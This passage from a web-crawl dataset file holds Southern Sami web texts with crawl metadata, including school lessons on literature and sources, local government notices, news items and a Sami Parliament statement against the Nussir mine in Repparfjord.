jååhkesjidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/begreper\/radikaliseereme","date":"2024-02-27T01:34:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474669.36\/warc\/CC-MAIN-20240226225941-20240227015941-00754.warc.gz","language":"sma","language_score":0.9999986887,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999986886978149}","num_words":73,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EYMSC – Early Years Movement Skills Checklist åarjelsaemïengiele\/sørsamisk\nEarly Years Movement Skills Checklist (EYMSC) lea motorihken gïehtjemelæstoe, maam leah evtiedamme juktie maehtedh motorihken tsagkesh maanaj luvnie aarhskuvleaalteren identifiseeredh jïh vuarjasjidh.\nEYMSC lea gïehtjemelæstoe maam evtiedamme juktie maehtedh identifiseeredh jïh vuarjasjidh motorihken tsagkesh englaanten maanaj luvnie aaltarisnie 3-5 jaepieh.\nÅvtegoerehtimmiej jïh goerehtimmiej tjïrrh Stavangereprosjektesne – lïerije maana, aaj gaavneme gïehtjemelæstoe maahta åtnasovvedh aaj nöörjen maanide, joekoen aalteredåahkan ovrehte 2 ½ jaepien raejeste 4 jaepien raajan.\nGïehtjemelæstoe edtja åtnasovvedh almetjijstie mah maanam hijvenlaakan demtieh, goh eejhtegh, pedagogh jallh jeatjah barkijh mah leah meatan maanan biejjieladtje darjoemisnie.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.statped.no\/laringsressurser\/sammensatte-larevansker\/samisk-sammensatte-larevansker\/eymsc--early-years-movement-skills-checklist\/","date":"2024-04-17T15:49:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817158.8\/warc\/CC-MAIN-20240417142102-20240417172102-00490.warc.gz","language":"sma","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.000003695487976}","num_words":88,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Västerbottene lïenen jåarhkeskuvlesijsevaalteme bïevnesh vadta ööhpehtimmidie jïh dan dïedte lea sijsevaaltemem jåarhkeskuvlide Upmejen tjïeltesne, Vännäsen tjïeltesne jïh Robertforsen tjïeltesne. Jis maadthskuvlesne jallh jeatjah skuvlesne dellie dov ohtsedimmiem skuvlen lohkemeraeriestæjjese vadtah jallh internedtem tjïrrh (www.gymnasieintagningen.nu). Maahta jåarhkeskuvlese ohtsedidh gaskoeh tsiegnelen raejeste jïh goevten 1. biejjien raajan.\nDïhte gie ij naan skuvlesne dan ohtsedimmiem riekte jåarhkeskuvlesijsevaaltemasse vadta. Seamma gusnie ööhpehtimmie lea galka ohtsedimmiem hïejmetjïelten sijsevaaltemasse vedtedh. Jeenebh bïevnesh åadtjoeh jis lohkemeraeriestæjjam jallh jåarhkeskuvlesijsevaaltemem bieljeldh. Læstoe ovmessie jåarhkeskuvlh tjaalasuvvieh www.umea.se\/gymnasiet gååvnese.\nJeenebh bïevnesh Jåarhkeskuvlekontovre, telefovne: 090-16 10 00 (viksele)","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/andrasprakotherlanguages\/samegielat\/maanahjihoohpehtimmie\/jaarhkeskuvle\/jaarhkeskuvleoohpetammanohtsede.4.2aeb902411d30c9e460800061257.html","date":"2013-05-25T00:16:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705300740\/warc\/CC-MAIN-20130516115500-00053-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.9999780655,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999780654907227}","num_words":82,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Krokomen tjïeltesne barkebe geajnojde bueriedidh. Geajnoeh tjuerieh abpe jaepien hijven årrodh. Tjïelte barka kollektijvevalkesem bueriedidh dovne gosse barkose jïh gosse eejehtalledh. Gåetieguntieh jïh sïelskh abpe tjïeltesne edtjieh nuepiem gamtebaantem åadtjodh jïh buerie telekommunikasjovnem. Buerielaakan mobijlesne soptsestalledh dovne miehtjesne vihkeles.\nKontakta oss\nHar du tekniska frågor eller vill kommentera informationen på sidan så kan du kontakta webbredaktionen. Klicka här!","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/krokom.se\/sma-SE\/trafikochinfrastruktur.3697.html","date":"2017-03-27T04:45:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189403.13\/warc\/CC-MAIN-20170322212949-00324-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9997420907,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9997420907020569}","num_words":58,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Epihke\nAlmetjh leah iktegisth soptsestamme. Naan aejkien leah saatnan såårneme jïh naan aejkien dah vaajestamme. Saemiej jïjnjh soptsesh mejtie aejkien mietie leah soptsestamme boelveste boelvese. Gosse soptsesem gaavnehti mij raakte saatnan dellie lea tjiehpies-lidteratuvre.\nTjiehpies-lidteratuvre lea tjaalege man sisvege lea såårneme jallh vaajestamme. Mijjieh maehtebe tjiehpies-lidteratuvren tjaalegh fiksjovne-tjaaleginie gohtjedh. Baakoe fiksjovne latijnen gïeleste \"fictio\" båata, mij lea soptsestidh, gaavnehtidh jallh saarnodh maam akt mij raakte saatnan. Tjiehpies-lidteratuvren tjaalegh maam akt ov-ryöktesth saarnoeh saetniesvoeten bïjre. Gosse lohkije maam akt låhka mij hæhtadamme, dellie dïhte maahta maam akt lïeredh dan veartenen bïjre gusnie dïhte jïjtje jeala.\nMijjieh maehtebe tjiehpies-lidteratuvrem golme åejvie-sjangeridie juekedh: lyrihke, epihke jïh draama\/dramatihke. Dah eelkin tjaalegidie juekedh hammoej mietie antihke-aejkesne. Lyrihke vierse-boelhkh åtna, epihke lea soptsese, jïh dramatihke replihkh jïh scene-buerkiestimmieh åtna.\nJiehtege tjiehpies-lidteratuvre lea Frankrïjhken gïeleste lööneme, gusnie \"belles-lettres\" lea dïhte tjiehpies-lidteratuvre, dïhte sæjhta jiehtedh lidteratuvren ulmie lea lohkijasse estetihken dååjresem vedtedh.\nBaakoeh\nov-ryöktesth\nindirekte\nsaetniesvoete\nvirkelighet\nscene-buerkiestimmie\nscenebeskrivelse\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- tilpasse språk og uttrykksmåter til ulike skrivesituasjoner i skole, samfunn og arbeidsliv\n- lese utvalgte tekster fra perioden etter 1995, sette dem inn i en kulturhistorisk sammenheng og reflektere over språk og innhold\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/171145?fag=126960","date":"2017-05-24T10:14:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00508.warc.gz","language":"sma","language_score":0.999556005,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9995560050010681}","num_words":219,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Epihke-analysen gyhtjelassh\nEpihken tjaalege soptsesem soptseste. Epihken tjaalege tïjjen mietie soptseste, jïh mij dej beeli heannadi. Sïejhme epihken sjangerh leah romaanh, novellh, soptsesh, heamturh, vaajesh jïh myth.\nJis datne edtjh epihke-tjaalegem analyseradidh, dellie datne maahtah daejtie gyhtjelasside gihtjedh:\n- Man bïjre tjaalege?\n- Guktie tjaelije heannadimmiej bïjre tjaala?\n- Maam tjaelije sæjhta daejnie tjaaleginie jiehtedh?\nJis datne edtjh maehtedh dejtie gyhtjelasside vaestiedidh, dellie tjoerh naan faage-jiehtegh guarkedh. Akte analyse maahta datnem viehkiehtidh lohkemem guarkedh jïh aaj datnem viehkiehtidh buerebe tjaelijinie sjïdtedh. Ovmessie analyse-jiehtegi viehkine datne maahtah eensilaakan buerkiestidh guktie tjaalege tseegkeme, jïh mah soptsestimmie-teknihkh jïh viehkie-vierhtieh tjaelije åtneme.\nSjïehteles tsiehkieh analysesne:\n- motijve, teema jïh dïjre\n- dahkoe jïh ov-vaantoe\n- komposisjovne\n- soptsestæjja jïh vuajnoe\n- persovne-buerkiestimmie\n- byjrese-buerkiestimmie\nBaakoeh\nanalyse-jiehtege\nanalyseuttrykk\ndahkoe\nhandling\nov-vaantoe\nkonflikt\nvuajnoe\nsyn, synsvinkel\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- skrive tekster med tema og fagterminologi tilpasset eget utdanningsprogram etter mønster fra ulike eksempeltekster\n- tilpasse språk og uttrykksmåter til ulike skrivesituasjoner i skole, samfunn og arbeidsliv\n- lese utvalgte tekster fra perioden etter 1995, sette dem inn i en kulturhistorisk sammenheng og reflektere over språk og innhold\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/171253?fag=126960","date":"2017-05-24T10:15:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00075.warc.gz","language":"sma","language_score":0.9989964366,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9989964365959167}","num_words":203,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan heevehtimmie seminaaresne, edtjieh daejtie gærjide vuesiehtidh. Saemiedigkie 25-jaepieh jih Tjeahpoe Saemiedigkesne.\nDesnie edtja Ole Henrik Magga Saemiedigkien 25-jaepieh bijre soptsestidh. Saemiedigkien åvtehke Aili Kaskitalo, edtja båetije tïjjen Saemiedigkien barkoen bijre soptsestidh, jih øøvtebe Saemiedigkien åvtehke Sven -Roald Nystø edtja daan Saemiedigkien heevehtimmie gærjan bijre bïevnedidh. Jijnjh vielie guessie dahka bøøreme. Gaajhkes åadtjoeh, daam seminaare tjåanghkoem dåeriedidh.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.nrk.no\/sapmi\/saemiedigkien-heevehtimmie-1.11963514","date":"2017-12-17T05:13:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948592972.60\/warc\/CC-MAIN-20171217035328-20171217061328-00259.warc.gz","language":"sma","language_score":0.9999939203,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999939203262329}","num_words":57,"character_repetition_ratio":0.129,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.035,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Voerhtjen 1.b- 2.b.edtja H.K.H. Kronprinsessa Mette -Marit, daam ruevtie-raajroem dåeriedidh. Noerhte-laanteste åarjel Noerhte-Trøøndelaagese.\nLidteratuvre feeleme.\nFeeleme aalka Boddåjsne, voerhtjen voestes biejjien jih ruevtie-raajroe tjøødtjeste Fauskesne, Rognesne, Raanesne jih Musseresne. Musseresne edtja Ellen Sara Sparrock Larsen, joejkestidh jih diiktem lohkedh. Kronprinsessa edtja aaj åarjelsaemien gærja-bussem guessiedidh.\nSaemien lidteratuvre.\nNoerhte-laanten fylhketjïelten gærjagåetesne Sølvi Riise barkeminie. Dihte geerjene Kronprinsessa sæjhta åarjelsaemien gærja bussem vuejnedh.\n–Kronprinsessa joekoen ïedtjije, saemien lidteratuvren bijre govledh. Dihte jïjtje sæjhta åarjelsaemien gærja- bussem guessiedidh. Åarjelsaemien gærjabusse joekoen jih saemien lidteratuvren bijre bievnedh, jeahta Sølvi Riise.\nMubpien biejjien dellie Noerhte-Trøøndelaagen tjirrh feeleste. Ruevtieraajroe tjøødtjeste Snåasesne, Stientjesne jih minngie-geatjan Skierdesne.\nKronprinsessa edtja jijtje sov vaajmoen lïhkesadtje, lidteratuvren bijre soptsestidh jih lohkedh.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.nrk.no\/sapmi\/h.k.h.-kronprinsessa-1.11642620","date":"2018-04-22T05:17:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945493.69\/warc\/CC-MAIN-20180422041610-20180422061610-00053.warc.gz","language":"sma","language_score":0.9998471737,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998471736907959}","num_words":110,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NETTBESTILLING\n- få varen levert rett hjem!\nSendes normalt fra oss i løpet av 2-3 virkedager\nOm Gïeline åahpenidh 3b\nDaate barkoegærja lea 3b. daltesasse mubpiegïeline. Barkoegærjesne grammatihke-laavenjassh jïh jeatjah laavenjassh mahte gaajhkide tekstide lohkemegærjesne. Lohkemegærja, bïhkedimmie lohkehtæjjide jïh CD aaj gååvnesieh. Denne arbeidsboka er for nivå 3b andrespråk. I arbeidsboka finnes det grammatikkoppgaver og andre oppgaver til nesten alle tekstene i leseboka I læreverket Gïeline åahpenidh 3b for andrespråk finnes også arbeidsbok, lærerveiledning og CD.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.ark.no\/boker\/Anita-Dunfjeld-Aagard-Gieline-aahpenidh-3b-9788256017829","date":"2019-02-15T22:10:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247479159.2\/warc\/CC-MAIN-20190215204316-20190215230316-00594.warc.gz","language":"sma","language_score":0.8103117943,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.8103117942810059, \"nob_Latn_score\": 0.10141240060329437, \"sme_Latn_score\": 0.08618703484535217}","num_words":74,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":0.795,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gellie bïevnese-gaaltijh gååvnesieh mej gaskem maahtah veeljedh gosse aamhtem daarpesjh akten laavenjassese. Maahtah veeljedh faage-almetjigujmie soptsestidh jallh aamhth jïh bïevnesh ohtsedidh learoe-gærjijste, faage-gærjijste, leksikovnijste, tjaalegijstie, plaerijste jïh gaske-viermeste.\nFaage-almetjh\nDaamtaj væjsehke almetjigujmie voestegh soptsestidh åvtelen aalkah gærjah lohkedh jïh gaske-viermesne ohtsedidh. Dovne lohkehtæjjah, gærjagåetie-barkijh jïh jeatjah faage-almetjh daamtajommes sjïere maahtoem såemies suerkiej bïjre utnieh, jïh aaj hijven bijjie-guvviem sov faage-suerkeste. Dah maehtieh dutnjien nuhteligs bïevnesh vedtedh jïh dutnjien soptsestidh gusnie maahtah vielie ohtsedidh.\nLearoe-gærjah\nLearoe-gærjah – dovne trygkeme jïh digitaale – leah daamtajommes sjïerelaakan sjïehtedamme akten vihties learoe-soejkesjasse. Dastegh aktine teemine learoe-soejkesjistie barkeminie, edtjh dan åvteste sjiehteles bïevnesh gaavnedh dov learoe-gærjesne. Vuartesjh learoegærja-aamhtesasse goh dïhte vihkielommes daajroe maam datne bïevnesigujmie lissehth jeatjah gaaltijijstie.\nFaage-gærjah\nFaage-gærjine nuhteligs goerehtimmie-aamhth akten teeman bïjre. Såemies faage-gærjah leah ajve sjïehtedamme studentide jolleskuvle-daltesisnie jallh faage-almetjidie, jïh gïele maahta naa gïerve årrodh daejnie gærjine. Vuarjesjh veelelaakan mejtie lea daerpies daam gaaltije-såarhtem nuhtjedh. Daamtaj gidtjh aelhkebe faage-gærjah gååvnesieh mah leah sjïehtedamme dejtie lohkijidie mah ïedtjem teeman bïjre utnieh, men eah leah faage-almetjh. Dagkerh gærjah leah daamtajommes aaj aelhkebe gïeline tjaaleme.\nLeksikovnh\nOvmessie såarhts leksikovnh leah hijven nuhtjedh gosse edtjh aamhth ribledh akten teeman bïjre. Leksikovne-tjaalegh leah tjaalasovveme faage-almetjijstie, jïh tjaalegh edtjieh jïjnjem soptsestidh vaenie baakoejgujmie. Dan åvteste dle sisvege dagkerh tjaaleginie maahta gïerve årrodh muvhten aejkien. Jis tjïelkestimmieh såemies baakojde ohtsedh, maahta nuhteligs årrodh aktem sïejhme baakoe-gærjam nuhtjedh.\nPlaerieh jïh våhkoe-, aske-plaerieh\nBïevnesh plaerijste jïh våhkoe-plaerijste leah maaje aelhkie guarkedh jïh tjïelkelaakan åehpiedahteme. Vihkeles mojhtesisnie utnedh plaerie- jïh våhkoeplaerie-aamhth varke dorjesuvvieh, jïh dan åvteste jienebh fiejlieh maehtieh båetedh daejnie teekstine, viertiestamme teekstine askeplaerine jïh gærjine. Bïevnesh mejtie åadtjobe plaeriej jïh våhkoe-plaeriej tjïrrh leah daamtaj ånnetji aelhkie, dan åvteste journalisth bööremes edtjieh åenehks jïh aelhkie tjaeledh. Lissine akte vaahra tjaelije lea teemam ånnetji aktelaaketje åehpiedahteme. Aske-plaerine jïh sjïere-plaerine maaje veelebe gïetedimmiem gaavnh aktede teemeste. Askeplaerie-tjaelijh daamtajommes maehtieh guhkiem gïehtelidh sijjen tjaalegigujmie, jïh sïejhmemes hijven åvte-daajroeh utnieh dan teeman bïjre man bïjre tjaelieh.\nBrosjyrah, gærjetjh jïh jeatjah bïevnese-materijelle\nStaaten, fylhken-tjïelten jïh tjïelten åejvieladtjh, jïh doh jeanatjommes byögkeles jïh privaate siebrieh, såemies bïevnesh bæjhkoehtieh goh gærjetjh jïh brosjyrah. Dah leah ussjedamme lohkijidie mah eah naan sjïere åvte-daajroeh utnieh, jïh daamtajommes dah leah namhtah. Daan biejjien aaj jïjnjem daejstie bïevnesijstie gaske-viermesne gaavnh.\nGaske-viermie\nMaahtah bïevnesh dan jeanatjommesen bïjre gaske-viermesne gaavnedh, jïh jïjnje destie lea nuhteligs. Men ij leah naan bijjemes orgaane mij kvaliteetem nedtesne gïehtjede. Tjoerh dan åvteste iktesth vuarjasjidh mejtie bïevnesh leah jaahkods jïh mejtie dïhte nuekies jolle kvaliteetem åtna.\nBaakoeh\nSaemien\nDaaroen\njaahkods\npålitelig\nsuerkie\nområde\nåvte-daajroe\nforkunnskap","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181865\/topic:1:181665\/resource:1:181685","date":"2019-04-22T15:14:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00012.warc.gz","language":"sma","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000064373016357}","num_words":406,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaepien 1987 Nils Gaup filmem darjoejin man nomme Ofelaš noerhte-saemien gïelesne jïh Veiviseren daaroen-gïelesne. Nils Gaup baalhkam Amandaprisen filmen åvteste åadtjoeji. Daate filme soptseste mij maahta heannadidh gosse tjuvrieh båetieh.\nVuartesjh filmem Ofelaš jïh darjoeh laavenjasside.\n1. laavenjasse\nMah viehkie-dïrregh fïlme-darjojh filmesne nuhtjeme? (Tsiehkie-baakoeh: tjoehpeme, musihke, drïekte, klaerieh)\n2. laavenjasse\nMan åvteste mijjieh tuhtjebe Aiginen fuelhkie lea buerie – jïh mijjieh dejtie lyjhkebe?\n3. laavenjasse\nMah viehkie-vierhtieh filmesne nuhtjesovveme juktie edtjebe tuhtjedh tjuvrieh leah bahhas?\n4. laavenjasse\nGuktie tjuvrieh? Dah leah voelph jallh vestie sinsitnine? Buerkesth jïjtjedh baakoegujmie.\n5. laavenjasse\nMan åvteste vijrijh duvriem daelvie-åeriemistie gåaskoeh?\n6. laavenjasse\nMan åvteste bïernen gellie nommh saemien-gïelesne?\n7. laavenjasse\nFilmesne mijjieh gellien aejkien aktem tjeehpes ledtiem vuejnebe. Man åvteste ledtie meatan filmesne? Maam filme-darjojh sijhtieh mijjese dejnie ledtine jiehtedh?\n8. laavenjasse\nMan åvteste guarkebe Raste lea vijsies jih dah jeatjebh satnem seahkarieh?\n9. laavenjasse\nRaste soptseste sarvam gulmh vuajneme. Mannasinie, vïenhth?\n10. laavenjasse\nTjaelieh maam datne tuhtjh hijven jïhij dan hijven filmesne.\n11. laavenjasse\nTjaelieh iktedimmiem filmeste. (unnemes 150 baakoeh)\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nLohkije-tjaalegeKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\n- Kjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:190969","date":"2019-04-22T15:24:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00476.warc.gz","language":"sma","language_score":0.9996036887,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9996036887168884}","num_words":217,"character_repetition_ratio":0.159,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie Silje Karine Muotka jeahta satne dan joekoen njåajjan Jieleme- jïh göölemedepartemeenten nænnoestimmeste.\n–Gruva sæjhta jieledem voenesne nåhkehtidh jïh våaromem båatsose dajvesne mïedtelidh, Muotka jeahta.\n-Staaten jïjtse faagesuerkieh Göölemedirektoraate jïh Mearoedotkemeinstituhte soejkesjidie vuastalieh, dan åvteste gruvagïehtelimmie sæjhta vihkeles gårreme- jïh sjïdtemedajvh eerjedh ovmessie gueliesåarhtide Riehppovuotnesne, jïh dan gaavhtan daate sæjhta tjarke kultuvrevåaromem saemien kultuvrese mïedtelidh jïh nyöjhkedh aktene dajvesne mij joe lea tjarke håvhtadamme, saemiedigkieraerie Silje Karine Muotka jeahta.\n–Akte mearoedeponije sæjhta abpe voenem eerjedh gellie boelvh, jïh mearoe- jïh voenegöölemasse goerpedehtedh mij aktene positijve evtiedimmesne daelie, jïh dam ibie maehtieh jååhkesjidh.\nNussir ASA luejhtemeluhpiem åadtjoeji 2016 galhkuvisnie juktie mearoedeponijem tseegkedh Riehppovuotnesne deerjememelaaken mietie. Jieleme- jïh göölemedepartemeente lea daelie gïehtelimsluhpiem gïetedamme mineraalelaaken mietie, jïh sïeltese Nussir ASA gïehtelimskonsesjovnem vadteme mineraalelaaken mietie.\nBåatsoem håvhtede\nKonsekvensesalkehtimmieh vuesiehtieh juhtemegeajnoeh jïh suehpedslaanth beajstalgieh gruvagïehtelimmeste Nussiresne jïh Gumpenjunnisne Fálesnuorrin tjïeltesne. Jienebh fuelhkieh gïetesuvvieh daestie, jïh maehtieh vaahrine årrodh bovtsigujmie orrijidh, dan åvteste ij gåaredh monnehke jïh ekonomeles båatsojne gïehtelidh dajvesne.\n-Dovne Staaten båatsoereereme, Nöörjen Båatsoesaemiej Rijhkesiebrie (NBR) jïh båatsoesïjth jiehtieh ij sïjhth nuepieh årrodh bovtsigujmie gïehtelidh dajvesne, jalhts krïevenassh bïejesuvvieh lyjnehke råajvarimmiej bïjre, maam maahtojde Jieleme- jïh göölemedepartemeente åtna juktie dåastoeh mïelem utnedh, Muotka jeahta.\nMuotka aaj tjarke laejhtehks juktie Jieleme- jïh göölemedepartemeente ij leah naan siebriedahkeekonomeles analyjsh gruvagïehtelimmeste dorjeme. Vaallah departemeente lea konsekvenside aarebi jïh soejkesjamme skilkehtassijste båatsose dajvesne vuarjasjamme. – Mijjieh daesnie akten prosjekten uvte tjåadtjobe mij ij sån sïjhth siebriedahkeekonoemeles dïenestem vedtedh, jïh gusnie Jieleme- jïh göölemedepartemeente vaahram laahpa båetijen aejkien boelvide jïh dejtie mah saemien kultuvrine jïh jieliemijstie jielieh.\nSæjhta nænnoestimmiem laejhtedh\nSaemiedigkiepresidente Aili Keskitalo jeahta Saemiedigkie sæjhta nænnoestimmiem laejhtedh Gånkese Staateraeresne. Vaallah presidente jaahka seriööse aktöörh sijhtieh beetnegh nuhtjedh prosjektese, gosse vuastalimmie dan stoerre saemien siebriedahkesne.\nVielie bïevnesh:\nSaemiedigkiepresidente Aili Keskitalo: tel 971 29 305\nSaemiedigkieraerie Silje Karine Muotka, 984 87 576","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Ij-baaatsoem-goeoelemem-jih-byjresem-kroeoehkesth","date":"2019-07-19T16:15:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526324.57\/warc\/CC-MAIN-20190719161034-20190719183034-00497.warc.gz","language":"sma","language_score":0.9999889135,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999889135360718}","num_words":284,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien gïelh Nöörjesne leah mïerhkelgovveme goh håvhtadihks gïelh. Låhkoe maadthskuvlelearoehkijstie saemiengïeline voestesgïeline lea geahpanamme luhkie prosentigujmie 2006 raejeste, jïh joekoen jïjnjh saemiengïeline orrijieh gosse jåarhkeskuvlem aelkieh. Daate akte gaajh nåake evtiedimmie maam tjoerebe jarkedh. Daej biejjiej NOU 2016: 18 Vaajmoegïele lea govlehtimmesne, maam akte moenehtse maam reerenasse lea nammoehtamme lea tjaaleme. Reektehtsisnie bijjelen tjuetie juvnehtimmieh jïh raeriestimmieh råajvarimmide saemien gïelide, mah leah stuvreme dovne reerenassese jïh Saemiedægkan. Råajvarimmieh leah reaktan bïjre jïjtse ietniengïelesne soptsestidh dejnie byögkeles Nöörjine. Saemien åålmege, almetjereaktan mietie, aktem ektie reaktam åtna dej saemien gïeli bijjeli nænnoestidh. Lissine dle mijjieh goh aktegsalmetjh reaktam utnebe jïjtjene gïelem lïeredh, jïh dam nuhtjedh dovne privaate jïh byögkeles tjiehtjielisnie. Daate akte reakta maam ibie ååpsen gellien aejkien åadtjoeh.\nSaemiedigkien bieleste libie daelie gellie govlehtimmieseminaarh Vaajmoegïelesalkehtimmien bïjre galhkeme. Mijjieh guessine mïnneme åarjelsaemien, julevsaemien jïh noerhtesaemien gïeledajvine gusnie åådtjeme joekoen joekehts haestemi bïjre govledh. Manne åådtjeme skuvlen aarkebiejjeste govledh gusnie lea ahkedh vaenebh saemienlohkehtæjjah, mah gellie tæjmoeh barkoen mænngan tjuerieh learoematerijellem nöörjen gïeleste saemiengïelese jarkoestidh dan åvteste eevre daerpies. Manne aaj daajram 